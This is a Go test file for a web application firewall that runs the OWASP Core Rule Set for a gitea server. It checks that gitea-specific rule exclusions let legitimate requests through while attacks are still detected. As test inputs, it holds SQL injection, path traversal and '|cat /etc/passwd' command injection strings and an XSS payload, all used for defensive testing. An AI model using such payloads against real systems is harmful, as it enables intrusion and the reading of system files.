+func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
+	t.Helper()
+
+	if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
+		t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
+	}
+}
+
+// matched is the result of a request that the rules ids match, each of
+// them a critical one, which adds 5 to the score.
+func matched(ids ...int) waf.Result {
+	const critical = 5
+
+	return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
+}
+
+// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
+func atDefaults(t *testing.T) *waf.CoreRuleSet {
+	t.Helper()
+
+	return newCoreRuleSet(t, 1, defaultDisabledRules...)
+}
+
+// wantChange checks that crs lets through passes, a gitea request one of
+// the six changes is for, and still finds result in refused, a request
+// like it that the change is not for.
+func wantChange(
+	t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
+) {
+	t.Helper()
+
+	wantResult(t, crs, passes, waf.Result{})
+	wantResult(t, crs, refused, result)
+}
+
+func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, r := range []request{
+		{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
+		{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
+		{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
+	} {
+		wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
+	}
+
+	wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
+}
+
+func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
+	t.Parallel()
+
+	const (
+		pushType  = "Content-Type: application/x-git-receive-pack-request"
+		fetchType = "Content-Type: application/x-git-upload-pack-request"
+		length    = "Content-Length: 1024"
+		push      = "/owner/repo.git/git-receive-pack"
+		fetch     = "/owner/repo.git/git-upload-pack"
+	)
+
+	crs := atDefaults(t)
+
+	wantResult(t, crs,
+		request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
+		waf.Result{})
+	wantResult(t, crs,
+		request{http.MethodPost, fetch, []string{
+			fetchType, length, "Content-Encoding: gzip",
+		}},
+		waf.Result{})
+
+	// Every other header on the Core Rule Set's list stays refused.
+	for _, header := range []string{
+		"Proxy: http://proxy.example",
+		"Lock-Token: token",
+		"Content-Range: bytes 0-1023/1024",
+		"If: token",
+		"X-HTTP-Method-Override: DELETE",
+		"X-HTTP-Method: DELETE",
+		"X-Method-Override: DELETE",
+		"X-Middleware-Subrequest: middleware",
+	} {
+		wantResult(t, crs,
+			request{http.MethodPost, push, []string{pushType, length, header}},
+			matched(920450))
+	}
+}
+
+func TestTransferEncodingIsRead(t *testing.T) {
+	t.Parallel()
+
+	// git sends a large push in chunks, with no Content-Length. Without
+	// Transfer-Encoding, that would be a POST without a length (920180).
+	wantResult(t, atDefaults(t),
+		request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
+			"Content-Type: application/x-git-receive-pack-request",
+			"Transfer-Encoding: chunked",
+		}},
+		waf.Result{})
+}
+
+func TestMoreQueryParametersThanCorazaKeepsIsAMatch(t *testing.T) {
+	t.Parallel()
+
+	const attack = "id=1'%20OR%20'1'='1"
+
+	crs := atDefaults(t)
+
+	// Coraza keeps 1000: an attack that is the 1000th is read, and one
+	// after it is not, but the request is a match all the same.
+	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
+	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
+}
+
+func TestRedirectURIMayNameALocalAddress(t *testing.T) {
+	t.Parallel()
+
+	const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
+		get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
+	wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
+		get(oauth+"next=http://localhost:52341/"), matched(934110))
+}
+
+func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, value := range []struct {
+		name string
+		// result is what a parameter that is not one of gitea's gets.
+		result waf.Result
+	}{
+		// A file on the list of system files.
+		{".gitignore", matched(930120)},
+		// A command's name, after a directory on the list of shell paths.
+		{"bin/docker-entrypoint", matched(932260, 932160)},
+	} {
+		for _, parameter := range []string{
+			"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
+			"artifactName", "redirect_to",
+		} {
+			wantChange(t, crs, get("/?"+parameter+"="+value.name),
+				get("/?q="+value.name), value.result)
+		}
+	}
+
+	// What only those rules refuse gets through there too, but path
+	// traversal and SQL injection are still refused.
+	wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
+		matched(930120, 932160))
+	wantResult(t, crs, get("/?path=../../etc/passwd"),
+		waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
+	wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
+}
+
+func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
+	wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
+		get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
+}
+
+func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
+	t.Parallel()
+
+	const (
+		flash      = "success%3DFile%2Bpackage.json%2Bdeleted"
+		redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
+	)
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
+		get("/owner/repo", "Cookie: flash="+flash), matched(930120))
+	wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
+		get("/", "Cookie: redirect="+redirectTo), matched(930120))
+
+	// Among other cookies, which are read.
+	wantChange(t, crs,
+		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
+			"; i_like_gitea=abc"),
+		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
+			"; i_like_gitea=abc"),
+		matched(930120))
+}
+
+func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
+	t.Parallel()
+
+	const (
+		search      = "https://git.example/explore/repos?q=env"
+		runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
+			"java.base/share/classes/java/lang/Runtime.java"
+	)
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
+		matched(932340))
+	wantChange(t, crs, get("/", "Referer: "+runtimeJava),
+		get("/", "X-Page: "+runtimeJava), matched(944110))
+
+	// It is still checked for script and SQL injection.
+	wantResult(t, crs,
+		get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
+		matched(941110, 941160))
+	wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
+		matched(942100))
+}
+
+func TestEmptyHeaderIsRead(t *testing.T) {
+	t.Parallel()
+
+	// An empty User-Agent is a notice, which adds 2.
+	wantResult(t, atDefaults(t), get("/", "User-Agent: "),
+		waf.Result{RuleIDs: []int{920330}, Score: 2})
+}
+
+func TestParanoiaLevel(t *testing.T) {
+	t.Parallel()
+
+	// Accept-Charset is refused from paranoia level 2.
+	r := get("/", "Accept-Charset: utf-8")
+
+	wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
+	wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
+}
+
+func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
+	t.Parallel()
+
+	// A method not allowed, and a Host that is an IP address, a warning,
+	// which adds 3.
+	r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
+
+	wantResult(t, newCoreRuleSet(t, 1), r,
+		waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
+	wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
+}